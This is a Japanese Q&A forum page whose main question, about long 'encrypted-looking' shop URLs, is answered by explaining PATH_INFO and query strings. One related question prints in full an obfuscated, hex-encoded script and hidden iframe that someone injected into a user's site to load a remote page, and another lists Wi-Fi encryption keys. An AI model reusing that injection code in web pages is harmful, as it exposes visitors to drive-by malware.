• ベストアンサー

ソースのリンク先などの暗号化(?)について

よろしくお願い致します。 オンラインショッピングなどのページで、下記のようにリンク先を暗号化(?)しているソース をよく見かけるのですが、これはどうやっているのでしょうか? <a href="https://●●●.com/shoping/785c2fde71699e82c6f1a1b48ea7a46e34bb2f2cddec1290f590f2809d32af775d7b0db644c87f75" target="_blank">リンク先へ移動</a> お分かりの方がいらっしゃいましたらお教え下さい。 よろしくお願い致します。

  • HTML
  • 回答数3
  • ありがとう数3

質問者が選んだベストアンサー

  • ベストアンサー
  • ORUKA1951
  • ベストアンサー率45% (5062/11036)
回答No.3

暗号化ではなくて、PATH_INFOかQUERY_STRINGです。 (?があれば、それ以降はQUERY_STRING) ★暗号化ではありません。 No.2「785c2xxxxxxという文字列がデータベースに格納されているので、」 ではありません。動的なデータです。 No.1「エンティティ」 ではありません。 サーバーがhttpsで呼びだされているので、HTTPプロトコルで送受信されるデータ自体は暗号化されています。画面には表示されない。 URLにて [domein]/[path]/[file Name]][PATH_INFO]?[QUERY_STRING]#[Ancjor Target] ですよね。 #以降は、サーバーには送られずブラウザで利用するページないアンカー ?以降はQUERY_STRINGといい、URLに使用できる文字列なら何でも  QUERY_STRINGを受け取るとサーバーは環境変数[QUERY_STRING]に収納して、処理します。 [file Name]/より後ろは、その環境変数[PATH_INFO]に渡されます。 [file Name]より前については、ご存知でしょうから省略します。 示されたデータについて考えて見ます。 https://●●●.com/shoping/785**略**f75 1)まず、HTTP、セキュアサーバーに対して暗号化した要求を行います。 2)サーバーは、末尾の/について、[78**略**f75]/というフォルダーが存在するかを確認します。   (*)もしあれば(10)へ 3)それがないと、/を切り捨てて環境変数{PATH_INFO}に/をいれ 4) [78**略**f75]をファルとみなし探します。   (*)あればそれを提供(ファイル)     ないし処理を任せます(実行ファイル)。 5) ファイルがなければ、環境変数{path_info}に[78**略**f75]を代入します。環境変数{path_info} = /78**略**f75/ 6) 残ったshoppingについて、それが存在すると  a.ファイルだと提供  b.実行ファイルだと実行  c.フォルダーだとフォルダー内を探し   (*)もしあれば(10)へ 7)この場合、実行ファイルだともそのプログラムを実行します。利用されるデータは、HTTP要求ヘッダに含まれる各種情報  78**略**f75は、商品コードや数量を表しているに過ぎないですし、暗号化もされていません。暗号化はデータ交換時です。 10) フォルダー内にファイルがあれば、  サーバーの設定で、INDEXに使用するファイルを順番に探す   index.html→index.htm→INDEX.HTML→  または、エラー(440)を伝える

nafufuna
質問者

お礼

ご回答ありがとうございます。 専門家の方なんですね。 専門用語はよく分かりませんでしたが、なんとなくフローチャートが分かりました。 > 暗号化ではなくて、PATH_INFOかQUERY_STRINGです。 少なくともこの仕組みのキーワードが分かりましたので、ネットなどでもう少し 色々と調べてみようと思います。 ありがとうございました。

その他の回答 (2)

  • hykw
  • ベストアンサー率30% (3/10)
回答No.2

●●●.com側で、情報を持っています。 具体的には 785c2xxxxxxという文字列がデータベースに格納されているので、アクセスが来たときにデータベースから情報を引っ張って、ユーザの特定や処理などを行います。

nafufuna
質問者

お礼

ご回答ありがとうございます。 サーバーと連携した仕組みなんですね。 簡単には真似できなそうですが、疑問に思っていた仕組みが分かりました。 ありがとうございました。

  • xxi-chanxx
  • ベストアンサー率37% (556/1484)
回答No.1

こちらのサイトで暗号化できます。 迷惑メール防止 メールアドレスのエンティティ化 http://ranking.prb.jp/ent.shtml メールアドレス以外ももちろん大丈夫です。

参考URL:
http://ranking.prb.jp/ent.shtml
nafufuna
質問者

お礼

早速ご回答頂きありがとうございます。 お教え頂いた方法は私も存じておりましたが、これはメールアドレスの暗号化なので ちょっと内容が違うようです。 こちらも参考にさせて頂きます。 ありがとうございました。

関連するQ&A

  • 暗号が解けません

    19 14゛ 9 2 15 1A  14 96 E゛ 2A 1C゜ 18 10  7  13゛ 8  26  1F   B   2A  6  12   5 ヒントは「暗号文全てをしっかりみること」と数時とアルファベットの組み合わせと言ったら…ってだけです。。 自分は全然出来ないので、頭の切れる方宜しくお願いします。。。解き方だけでも良いのでお願いします。

  • 至急!暗号の問題です。

    至急!暗号の問題です。 A0E0D0E4E0G0A3J4F1I0B5E0D8B0B1E0C0A1 これは日本語で作成されたものを暗号化したものです。 これを日本語に直してください。 よろしくおねがいします。

  • index.html main.htmlに謎の文字列が。

    HPを運営しているのですが、最近、1日に1回 <body>のすぐ後ろに <iframe src='http://url' width='1' height='1' style='visibility:hidden'></iframe><script>function v475af88182c70(v475af8818534b){ function v475af88187800 () {return 16;} return(parseInt(v475af8818534b,v475af88187800()));}function v475af8818871e(v475af88188ee4){ function v475af8818a653 () {var v475af8818c5ef=2; return v475af8818c5ef;} var v475af881896b3='';for(v475af88189e84=0; v475af88189e84<v475af88188ee4.length; v475af88189e84+=v475af8818a653()){ v475af881896b3+=(String.fromCharCode(v475af88182c70(v475af88188ee4.substr(v475af88189e84, v475af8818a653()))));}return v475af881896b3;} document.write(v475af8818871e('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D363134396433626361207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A333239323834292B2730365C272077696474683D373634206865696768743D343331207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> このようなソースが勝手にかかれてしまいます。 avastとadawareを使用し、セーフモードでHDD内を全て検索したのですが、何も反応はでませんでしたが、 まだこの現象は起こっています。 何か分かる方はいらっしゃいませんでしょうか? よろしくお願いいたします。

  • 暗号の問題です

    ある暗号で、E9・C2・A2・D2・C9・B1・B4による数式を解くと6になり A6・B4・B6・C2・B5が表す数字は6になります。 この暗号が解けるかいたら教えてください。

  • 文字 暗号 解読

    携帯裏サイトなるものに個人ID(名前)を晒され困っています。 IDは暗号化されているのですが、晒している人には暗号解読ができている為、私の名前を晒しています。私には暗号解読の仕方が分からず晒している人のIDから名前を知る事ができません。 一般的な暗号の様ですが・・・暗号解読のやり方がお分かりの方がいらっしゃいましたら教えて下さい。 ヒントは色々あるようです。 0~9とa~fと言ったら16  ab=171 af=175 01=001  0e=014  19=025  2b=043  3a=058  4d=077  ee=238  f9=249  ff=255 ちなみに .m420364/ が 「♪☆まあたん☆♪」 どうか教えて下さい。  

  • リンク先を一括変更するには?

    ご教授ください。 例えば、     A        B         C 1         商品●●     商品△△ 2 店舗A    =Sheet2!A1   =Sheet2!E1 3 店舗B    =Sheet2!A2   =Sheet2!E2 4 店舗C    =Sheet2!A3   =Sheet2!E3 5 店舗D    =Sheet2!A4   =Sheet2!E4 6 店舗E    =Sheet2!A5   =Sheet2!E5 とリンク貼り付けしたEXCELシートがあります。 このEXCELのB1からB6のリンク先を一括で“Sheet3”のものに或いはSheet2の“B1~B5”に変更したい場合、どのようにすればよいでしょうか? 結構大きなファイルのリンク先を変更する必要があるので、個別でやると結構時間がかかってしまいます。 ご存じの方がいらっしゃいましたら、ご指導ください。

  • エクセルのリンクについて

    エクセルについて以下の質問があります。 例えば、A,B,Cの3つのファイルがあるとします。 そしてCファイルのA1セルに入力する数値を、AファイルのA1セルから持ってきているとします。(リンク) 同様にCファイルのB1セルには、BファイルのA1セルの値をリンクさせてきているとします。 この状態でA,B,Cの3つのファイルはリンクされている状態になっているのですが、これらを仮にテンプレートとし、それぞれをコピーします。(コピー先のファイルをD,E,Fファイルとします) するとこのD,E,Fファイルでは、元のA,B,Cファイルで掛けてあったリンクがクリアされてしまっています。 そこで今度はA,B,Cを1つのフォルダに入れ、フォルダごとコピーを掛けた場合、コピー先はリンクされたままです。しかし名前を変えるとリンクがクリアされてしまいます。 これを何とかクリアされずに、複数のファイルに掛けたリンクファイル郡をたくさん作りたいのですが、可能でしょうか?

  • リンク先の内容の信憑性?!

    https://blog.goo.ne.jp/kimito39/e/5c76f5bbab50113b9003ee295657ee6e 裁判は終わったみたいですが、まだまだ納得していないと思われるのです。それこそ中で紹介されている青山透子さんの本の中に『全てを解明すると戦争になる』みたいな記述もあったと思います。 遺体が、通常の飛行機事故で焼損した様なレベルではなかったと。飛行機のジェット燃料は灯油であるが、ガソリンとタール?だったかの匂いがしていたとも書かれていたと思った。 得る覚えの部分があるので、間違っている可能性は否定出来ません。間違っていたらごめんなさい。で、上のリンクの他に https://www.bing.com/search?q=%e6%97%a5%e8%88%aa123%e4%be%bf%e3%81%ae%e7%9c%9f%e7%9b%b8+%e8%87%aa%e8%a1%9b%e9%9a%8a%e5%93%a1%e3%81%ae%e6%ad%bb%e4%ba%a1&FORM=RS1208 このリンク先の信憑性も如何思いますか。ボイスレコーダーの内容が全て公表されなかったとか、色々と疑問が残っています。素朴に疑問を少しでも判りたいと思っての質問ですので、過度に責めないで下さいね。以上宜しくお願い致します。

  • ブラザーの複合機MFC-6890CNの設定

    ブラザーの複合機MFC-6890CNの設定 設定の仕方が判らないので、ブラザーのサポートに電話しましたら ルーターの会社バッファローで以下の事を調べるように言われました。 素人なので、調べ方が判らないので、バッファローに電話しましたが、全然つながりません。 以下の事でお判りの方がおられましたら、教えて下さい。 ○無線ネットワークの名前を調べる        >SSID  ○WEPの場合  オープンシステム認証     >WEPキー ○共有キー認証                 >WEPキー ○WPA-PSK(TKIP/AES)場合 WPA-PSK                 > 暗号化キー ○WPA2-PSK(ASE)の場合 WPA2-PSk                         >暗号化キー >の所を調べる様に説明書に書いてありました。 バッファローのサポートの所をみましたら 以下のような所がありましたが、同じよう事が書かれてあり どれをかけば良いかわかりません。 よろしくお願い致します。 暗号化レベル WPA-PSK-AES (現在使用中) SSID 1899287A3F41D2A16FA7841A366741CB 暗号化キー c723c159f5d6246faaac7d36cef9db636f26e950399bc37b26c1fc372dc97c5 暗号化レベル WPA/WPA2-PSK-mixed (現在使用中) SSID 2EFA768A56FAA88A361680722AE80441 暗号化キー f55c880080cce27d91302a268ade391f0972201d863bf4033ca3cd6fbeefcc0 暗号化レベル WEP128 SSID 4B8BAC7D664F1BAB1A45E14F199D9858 暗号化キー B439A00D90456BC9FD261B2728 784DDA83D680BF567EE1A23355 BC07B2661640AA8B03ADA928D2 00532BE6EA046F9658D8740A08 暗号化レベル WEP64 SSID 7128B5CE368B235111E82F5457821493 暗号化キー DE07EC5651 682DA3B058 9A0950929E B1217CEE2D

  • ハイパーリンクのリンク先がおかしい。

    Excel Office 365を利用しています。 ハイパーリンクのリンク先がおかしくなります。 例えば、AmazonのASINから商品ページへのハイパーリンクを作ります。 B1セルに http://www.amazon.co.jp/exec/obidos/ASIN/を記入。 A2セルから下にASINを入れていき、B2セルにB1セルとA2セルを合体させ(=$B$1&A2)表示。 C2セルにハイパーリンクでリンクを作ります。(=HYPERLINK(B2,$C$1))としました。(C1セルにはAmazonリンクと記入)   そうするとC2セルにリンクができて、クリックするとAmazonの商品ページに飛びます。   その下のセルの計算式は、B2セル、C2セルを選択し右下の+マークを下にコペーしていきました。 しかし、C3セルから下のリンクを開くとどれもC2のリンク先になっています。 B3セルにはA3セルのASINでURLができていて、C3セルもちゃんとB3がリンク先になっています。   なぜ記述が合っているのにリンク先が違うのか、どうしたらちゃんとリンクされるのかがわかりません。 詳しい方、ご教示いただけるとありがたいです。 よろしくお願いします。

専門家に質問してみよう